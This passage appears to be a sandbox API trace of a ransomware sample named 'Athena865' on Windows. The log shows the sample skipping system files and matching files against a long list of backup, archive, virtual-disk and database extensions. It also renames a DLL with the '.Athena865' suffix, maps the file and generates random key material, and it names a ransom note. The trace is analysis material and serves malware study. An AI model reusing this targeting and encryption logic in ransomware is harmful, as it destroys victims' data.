(lpString="tipskins.dll") returned 12 [0111.434] lstrcpyW (in: lpString1=0x241e8ae, lpString2="tipskins.dll" | out: lpString1="tipskins.dll") returned="tipskins.dll" [0111.434] lstrlenW (lpString="tipskins.dll") returned 12 [0111.434] lstrlenW (lpString="Athena865") returned 9 [0111.434] lstrcmpiW (lpString1="skins.dll", lpString2="Athena865") returned 1 [0111.434] lstrlenW (lpString=".dll") returned 4 [0111.434] lstrcmpiW (lpString1="tipskins.dll", lpString2=".dll") returned 1 [0111.434] lstrlenW (lpString=".lnk") returned 4 [0111.434] lstrcmpiW (lpString1="tipskins.dll", lpString2=".lnk") returned 1 [0111.434] lstrlenW (lpString=".ini") returned 4 [0111.434] lstrcmpiW (lpString1="tipskins.dll", lpString2=".ini") returned 1 [0111.434] lstrlenW (lpString=".sys") returned 4 [0111.434] lstrcmpiW (lpString1="tipskins.dll", lpString2=".sys") returned 1 [0111.434] lstrlenW (lpString="tipskins.dll") returned 12 [0111.434] lstrlenW (lpString="bak") returned 3 [0111.434] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0111.434] lstrlenW (lpString="ba_") returned 3 [0111.434] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0111.434] lstrlenW (lpString="dbb") returned 3 [0111.434] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0111.434] lstrlenW (lpString="vmdk") returned 4 [0111.434] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0111.434] lstrlenW (lpString="rar") returned 3 [0111.434] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0111.434] lstrlenW (lpString="zip") returned 3 [0111.434] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0111.434] lstrlenW (lpString="tgz") returned 3 [0111.434] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0111.434] lstrlenW (lpString="vbox") returned 4 [0111.435] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0111.435] lstrlenW (lpString="vdi") returned 3 [0111.435] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0111.435] lstrlenW (lpString="vhd") returned 3 [0111.435] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0111.435] lstrlenW (lpString="vhdx") returned 4 [0111.435] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0111.435] lstrlenW (lpString="avhd") returned 4 [0111.435] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0111.435] lstrlenW (lpString="db") returned 2 [0111.435] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0111.435] lstrlenW (lpString="db2") returned 3 [0111.435] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0111.435] lstrlenW (lpString="db3") returned 3 [0111.435] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0111.435] lstrlenW (lpString="dbf") returned 3 [0111.435] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0111.435] lstrlenW (lpString="mdf") returned 3 [0111.435] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0111.435] lstrlenW (lpString="mdb") returned 3 [0111.435] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0111.435] lstrlenW (lpString="sql") returned 3 [0111.435] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0111.435] lstrlenW (lpString="sqlite") returned 6 [0111.435] lstrcmpiW (lpString1="ns.dll", lpString2="sqlite") returned -1 [0111.435] lstrlenW (lpString="sqlite3") returned 7 [0111.435] lstrcmpiW (lpString1="ins.dll", lpString2="sqlite3") returned -1 [0111.435] lstrlenW (lpString="sqlitedb") returned 8 [0111.435] lstrcmpiW (lpString1="kins.dll", lpString2="sqlitedb") returned -1 [0111.435] lstrlenW (lpString="xml") returned 3 [0111.435] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0111.436] lstrlenW (lpString="$er") returned 3 [0111.436] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0111.436] lstrlenW (lpString="4dd") returned 3 [0111.436] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0111.436] lstrlenW (lpString="4dl") returned 3 [0111.436] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0111.436] lstrlenW (lpString="^^^") returned 3 [0111.436] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0111.436] lstrlenW (lpString="abs") returned 3 [0111.436] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0111.436] lstrlenW (lpString="abx") returned 3 [0111.436] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0111.436] lstrlenW (lpString="accdb") returned 5 [0111.436] lstrcmpiW (lpString1="s.dll", lpString2="accdb") returned 1 [0111.436] lstrlenW (lpString="accdc") returned 5 [0111.436] lstrcmpiW (lpString1="s.dll", lpString2="accdc") returned 1 [0111.436] lstrlenW (lpString="accde") returned 5 [0111.436] lstrcmpiW (lpString1="s.dll", lpString2="accde") returned 1 [0111.436] lstrlenW (lpString="accdr") returned 5 [0111.436] lstrcmpiW (lpString1="s.dll", lpString2="accdr") returned 1 [0111.436] lstrlenW (lpString="accdt") returned 5 [0111.436] lstrcmpiW (lpString1="s.dll", lpString2="accdt") returned 1 [0111.436] lstrlenW (lpString="accdw") returned 5 [0111.436] lstrcmpiW (lpString1="s.dll", lpString2="accdw") returned 1 [0111.436] lstrlenW (lpString="accft") returned 5 [0111.436] lstrcmpiW (lpString1="s.dll", lpString2="accft") returned 1 [0111.436] lstrlenW (lpString="adb") returned 3 [0111.436] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0111.436] lstrlenW (lpString="adb") returned 3 [0111.436] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0111.437] lstrlenW (lpString="ade") returned 3 [0111.437] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0111.437] lstrlenW (lpString="adf") returned 3 [0111.437] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0111.437] lstrlenW (lpString="adn") returned 3 [0111.437] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0111.437] lstrlenW (lpString="adp") returned 3 [0111.437] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0111.437] lstrlenW (lpString="alf") returned 3 [0111.437] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0111.437] lstrlenW (lpString="ask") returned 3 [0111.437] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0111.437] lstrlenW (lpString="btr") returned 3 [0111.437] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0111.437] lstrlenW (lpString="cat") returned 3 [0111.437] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0111.437] lstrlenW (lpString="cdb") returned 3 [0111.437] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0111.437] lstrlenW (lpString="ckp") returned 3 [0111.437] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0111.437] lstrlenW (lpString="cma") returned 3 [0111.437] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0111.437] lstrlenW (lpString="cpd") returned 3 [0111.437] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0111.437] lstrlenW (lpString="dacpac") returned 6 [0111.437] lstrcmpiW (lpString1="ns.dll", lpString2="dacpac") returned 1 [0111.437] lstrlenW (lpString="dad") returned 3 [0111.437] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0111.437] lstrlenW (lpString="dadiagrams") returned 10 [0111.437] lstrcmpiW (lpString1="pskins.dll", lpString2="dadiagrams") returned 1 [0111.438] lstrlenW (lpString="daschema") returned 8 [0111.438] lstrcmpiW (lpString1="kins.dll", lpString2="daschema") returned 1 [0111.438] lstrlenW (lpString="db-journal") returned 10 [0111.438] lstrcmpiW (lpString1="pskins.dll", lpString2="db-journal") returned 1 [0111.438] lstrlenW (lpString="db-shm") returned 6 [0111.438] lstrcmpiW (lpString1="ns.dll", lpString2="db-shm") returned 1 [0111.438] lstrlenW (lpString="db-wal") returned 6 [0111.438] lstrcmpiW (lpString1="ns.dll", lpString2="db-wal") returned 1 [0111.438] lstrlenW (lpString="dbc") returned 3 [0111.438] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0111.438] lstrlenW (lpString="dbs") returned 3 [0111.438] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0111.438] lstrlenW (lpString="dbt") returned 3 [0111.438] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0111.438] lstrlenW (lpString="dbv") returned 3 [0111.438] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0111.438] lstrlenW (lpString="dbx") returned 3 [0111.438] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0111.438] lstrlenW (lpString="dcb") returned 3 [0111.438] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0111.438] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0111.438] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipskins.dll.Athena865") returned 73 [0111.439] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipskins.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipskins.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipskins.dll.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipskins.dll.athena865"), dwFlags=0x1) returned 1 [0111.440] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipskins.dll.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipskins.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0111.440] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1246720) returned 1 [0111.440] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0111.440] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d20 [0111.440] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519cc8 [0111.440] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519c40) returned 1 [0111.441] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0111.441] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0111.441] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x130900, lpName=0x0) returned 0x154 [0111.442] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x130900) returned 0x2d50000 [0111.493] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519c40) returned 1 [0111.494] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0111.494] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0111.494] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0111.494] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0111.494] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0111.494] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0111.494] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0111.494] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0111.495] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0111.495] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0111.495] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0111.495] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0111.495] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0111.505] CloseHandle (hObject=0x154) returned 1 [0111.505] CloseHandle (hObject=0x17c) returned 1 [0111.505] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d20 | out: hHeap=0x4f0000) returned 1 [0111.505] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519cc8 | out: hHeap=0x4f0000) returned 1 [0111.505] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0111.510] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1213373, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa1213373, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa12394d3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x7ae00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tiptsf.dll", cAlternateFileName="")) returned 1 [0111.510] lstrcmpiW (lpString1="tiptsf.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0111.510] lstrcmpiW (lpString1="tiptsf.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0111.510] lstrcmpiW (lpString1="tiptsf.dll", lpString2=".") returned 1 [0111.510] lstrcmpiW (lpString1="tiptsf.dll", lpString2="..") returned 1 [0111.510] lstrcmpiW (lpString1="tiptsf.dll", lpString2="windows") returned -1 [0111.510] lstrcmpiW (lpString1="tiptsf.dll", lpString2="bootmgr") returned 1 [0111.510] lstrcmpiW (lpString1="tiptsf.dll", lpString2="temp") returned 1 [0111.510] lstrcmpiW (lpString1="tiptsf.dll", lpString2="pagefile.sys") returned 1 [0111.510] lstrcmpiW (lpString1="tiptsf.dll", lpString2="boot") returned 1 [0111.511] lstrcmpiW (lpString1="tiptsf.dll", lpString2="ids.txt") returned 1 [0111.511] lstrcmpiW (lpString1="tiptsf.dll", lpString2="ntuser.dat") returned 1 [0111.511] lstrcmpiW (lpString1="tiptsf.dll", lpString2="perflogs") returned 1 [0111.511] lstrcmpiW (lpString1="tiptsf.dll", lpString2="MSBuild") returned 1 [0111.511] lstrlenW (lpString="tiptsf.dll") returned 10 [0111.511] lstrcpyW (in: lpString1=0x241e8ae, lpString2="tiptsf.dll" | out: lpString1="tiptsf.dll") returned="tiptsf.dll" [0111.511] lstrlenW (lpString="tiptsf.dll") returned 10 [0111.511] lstrlenW (lpString="Athena865") returned 9 [0111.511] lstrcmpiW (lpString1="iptsf.dll", lpString2="Athena865") returned 1 [0111.511] lstrlenW (lpString=".dll") returned 4 [0111.511] lstrcmpiW (lpString1="tiptsf.dll", lpString2=".dll") returned 1 [0111.511] lstrlenW (lpString=".lnk") returned 4 [0111.511] lstrcmpiW (lpString1="tiptsf.dll", lpString2=".lnk") returned 1 [0111.511] lstrlenW (lpString=".ini") returned 4 [0111.511] lstrcmpiW (lpString1="tiptsf.dll", lpString2=".ini") returned 1 [0111.511] lstrlenW (lpString=".sys") returned 4 [0111.511] lstrcmpiW (lpString1="tiptsf.dll", lpString2=".sys") returned 1 [0111.511] lstrlenW (lpString="tiptsf.dll") returned 10 [0111.511] lstrlenW (lpString="bak") returned 3 [0111.511] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0111.511] lstrlenW (lpString="ba_") returned 3 [0111.511] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0111.511] lstrlenW (lpString="dbb") returned 3 [0111.511] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0111.511] lstrlenW (lpString="vmdk") returned 4 [0111.511] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0111.511] lstrlenW (lpString="rar") returned 3 [0111.512] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0111.512] lstrlenW (lpString="zip") returned 3 [0111.512] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0111.512] lstrlenW (lpString="tgz") returned 3 [0111.512] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0111.512] lstrlenW (lpString="vbox") returned 4 [0111.512] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0111.512] lstrlenW (lpString="vdi") returned 3 [0111.512] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0111.512] lstrlenW (lpString="vhd") returned 3 [0111.512] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0111.512] lstrlenW (lpString="vhdx") returned 4 [0111.512] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0111.512] lstrlenW (lpString="avhd") returned 4 [0111.512] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0111.512] lstrlenW (lpString="db") returned 2 [0111.512] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0111.512] lstrlenW (lpString="db2") returned 3 [0111.512] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0111.512] lstrlenW (lpString="db3") returned 3 [0111.512] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0111.512] lstrlenW (lpString="dbf") returned 3 [0111.512] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0111.512] lstrlenW (lpString="mdf") returned 3 [0111.512] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0111.512] lstrlenW (lpString="mdb") returned 3 [0111.512] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0111.512] lstrlenW (lpString="sql") returned 3 [0111.512] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0111.512] lstrlenW (lpString="sqlite") returned 6 [0111.512] lstrcmpiW (lpString1="sf.dll", lpString2="sqlite") returned -1 [0111.513] lstrlenW (lpString="sqlite3") returned 7 [0111.513] lstrcmpiW (lpString1="tsf.dll", lpString2="sqlite3") returned 1 [0111.513] lstrlenW (lpString="sqlitedb") returned 8 [0111.513] lstrcmpiW (lpString1="ptsf.dll", lpString2="sqlitedb") returned -1 [0111.513] lstrlenW (lpString="xml") returned 3 [0111.513] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0111.513] lstrlenW (lpString="$er") returned 3 [0111.513] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0111.513] lstrlenW (lpString="4dd") returned 3 [0111.513] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0111.513] lstrlenW (lpString="4dl") returned 3 [0111.513] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0111.513] lstrlenW (lpString="^^^") returned 3 [0111.513] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0111.513] lstrlenW (lpString="abs") returned 3 [0111.513] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0111.513] lstrlenW (lpString="abx") returned 3 [0111.513] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0111.513] lstrlenW (lpString="accdb") returned 5 [0111.513] lstrcmpiW (lpString1="f.dll", lpString2="accdb") returned 1 [0111.513] lstrlenW (lpString="accdc") returned 5 [0111.513] lstrcmpiW (lpString1="f.dll", lpString2="accdc") returned 1 [0111.513] lstrlenW (lpString="accde") returned 5 [0111.513] lstrcmpiW (lpString1="f.dll", lpString2="accde") returned 1 [0111.513] lstrlenW (lpString="accdr") returned 5 [0111.513] lstrcmpiW (lpString1="f.dll", lpString2="accdr") returned 1 [0111.513] lstrlenW (lpString="accdt") returned 5 [0111.513] lstrcmpiW (lpString1="f.dll", lpString2="accdt") returned 1 [0111.513] lstrlenW (lpString="accdw") returned 5 [0111.513] lstrcmpiW (lpString1="f.dll", lpString2="accdw") returned 1 [0111.513] lstrlenW (lpString="accft") returned 5 [0111.514] lstrcmpiW (lpString1="f.dll", lpString2="accft") returned 1 [0111.514] lstrlenW (lpString="adb") returned 3 [0111.514] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0111.514] lstrlenW (lpString="adb") returned 3 [0111.514] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0111.514] lstrlenW (lpString="ade") returned 3 [0111.514] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0111.514] lstrlenW (lpString="adf") returned 3 [0111.514] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0111.514] lstrlenW (lpString="adn") returned 3 [0111.514] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0111.514] lstrlenW (lpString="adp") returned 3 [0111.514] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0111.514] lstrlenW (lpString="alf") returned 3 [0111.514] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0111.514] lstrlenW (lpString="ask") returned 3 [0111.514] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0111.514] lstrlenW (lpString="btr") returned 3 [0111.514] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0111.514] lstrlenW (lpString="cat") returned 3 [0111.514] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0111.514] lstrlenW (lpString="cdb") returned 3 [0111.514] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0111.514] lstrlenW (lpString="ckp") returned 3 [0111.514] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0111.514] lstrlenW (lpString="cma") returned 3 [0111.514] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0111.514] lstrlenW (lpString="cpd") returned 3 [0111.514] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0111.514] lstrlenW (lpString="dacpac") returned 6 [0111.515] lstrcmpiW (lpString1="sf.dll", lpString2="dacpac") returned 1 [0111.515] lstrlenW (lpString="dad") returned 3 [0111.515] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0111.515] lstrlenW (lpString="dadiagrams") returned 10 [0111.515] lstrlenW (lpString="daschema") returned 8 [0111.515] lstrcmpiW (lpString1="ptsf.dll", lpString2="daschema") returned 1 [0111.515] lstrlenW (lpString="db-journal") returned 10 [0111.515] lstrlenW (lpString="db-shm") returned 6 [0111.515] lstrcmpiW (lpString1="sf.dll", lpString2="db-shm") returned 1 [0111.515] lstrlenW (lpString="db-wal") returned 6 [0111.515] lstrcmpiW (lpString1="sf.dll", lpString2="db-wal") returned 1 [0111.515] lstrlenW (lpString="dbc") returned 3 [0111.515] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0111.515] lstrlenW (lpString="dbs") returned 3 [0111.515] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0111.515] lstrlenW (lpString="dbt") returned 3 [0111.515] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0111.515] lstrlenW (lpString="dbv") returned 3 [0111.515] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0111.515] lstrlenW (lpString="dbx") returned 3 [0111.515] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0111.515] lstrlenW (lpString="dcb") returned 3 [0111.515] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0111.515] lstrlenW (lpString="dct") returned 3 [0111.515] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0111.515] lstrlenW (lpString="dcx") returned 3 [0111.515] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0111.515] lstrlenW (lpString="ddl") returned 3 [0111.515] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0111.515] lstrlenW (lpString="dlis") returned 4 [0111.516] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0111.516] lstrlenW (lpString="dp1") returned 3 [0111.516] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0111.516] lstrlenW (lpString="dqy") returned 3 [0111.516] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0111.516] lstrlenW (lpString="dsk") returned 3 [0111.516] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0111.516] lstrlenW (lpString="dsn") returned 3 [0111.516] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0111.516] lstrlenW (lpString="dtsx") returned 4 [0111.516] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0111.516] lstrlenW (lpString="dxl") returned 3 [0111.516] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0111.516] lstrlenW (lpString="eco") returned 3 [0111.516] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0111.516] lstrlenW (lpString="ecx") returned 3 [0111.516] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0111.516] lstrlenW (lpString="edb") returned 3 [0111.516] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0111.516] lstrlenW (lpString="epim") returned 4 [0111.516] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0111.516] lstrlenW (lpString="fcd") returned 3 [0111.516] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0111.516] lstrlenW (lpString="fdb") returned 3 [0111.516] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0111.516] lstrlenW (lpString="fic") returned 3 [0111.516] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0111.516] lstrlenW (lpString="flexolibrary") returned 12 [0111.516] lstrlenW (lpString="fm5") returned 3 [0111.516] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0111.516] lstrlenW (lpString="fmp") returned 3 [0111.517] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0111.517] lstrlenW (lpString="fmp12") returned 5 [0111.517] lstrcmpiW (lpString1="f.dll", lpString2="fmp12") returned -1 [0111.517] lstrlenW (lpString="fmpsl") returned 5 [0111.517] lstrcmpiW (lpString1="f.dll", lpString2="fmpsl") returned -1 [0111.517] lstrlenW (lpString="fol") returned 3 [0111.517] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0111.517] lstrlenW (lpString="fp3") returned 3 [0111.517] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0111.517] lstrlenW (lpString="fp4") returned 3 [0111.517] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0111.517] lstrlenW (lpString="fp5") returned 3 [0111.517] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0111.517] lstrlenW (lpString="fp7") returned 3 [0111.517] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0111.517] lstrlenW (lpString="fpt") returned 3 [0111.517] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0111.517] lstrlenW (lpString="frm") returned 3 [0111.517] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0111.517] lstrlenW (lpString="gdb") returned 3 [0111.517] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0111.517] lstrlenW (lpString="gdb") returned 3 [0111.517] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0111.517] lstrlenW (lpString="grdb") returned 4 [0111.517] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0111.517] lstrlenW (lpString="gwi") returned 3 [0111.517] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0111.517] lstrlenW (lpString="hdb") returned 3 [0111.517] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0111.517] lstrlenW (lpString="his") returned 3 [0111.517] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0111.518] lstrlenW (lpString="ib") returned 2 [0111.518] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0111.518] lstrlenW (lpString="idb") returned 3 [0111.518] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0111.518] lstrlenW (lpString="ihx") returned 3 [0111.518] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0111.518] lstrlenW (lpString="itdb") returned 4 [0111.518] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0111.518] lstrlenW (lpString="itw") returned 3 [0111.518] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0111.518] lstrlenW (lpString="jet") returned 3 [0111.518] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0111.518] lstrlenW (lpString="jtx") returned 3 [0111.518] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0111.518] lstrlenW (lpString="kdb") returned 3 [0111.518] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0111.518] lstrlenW (lpString="kexi") returned 4 [0111.518] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0111.518] lstrlenW (lpString="kexic") returned 5 [0111.518] lstrcmpiW (lpString1="f.dll", lpString2="kexic") returned -1 [0111.518] lstrlenW (lpString="kexis") returned 5 [0111.518] lstrcmpiW (lpString1="f.dll", lpString2="kexis") returned -1 [0111.518] 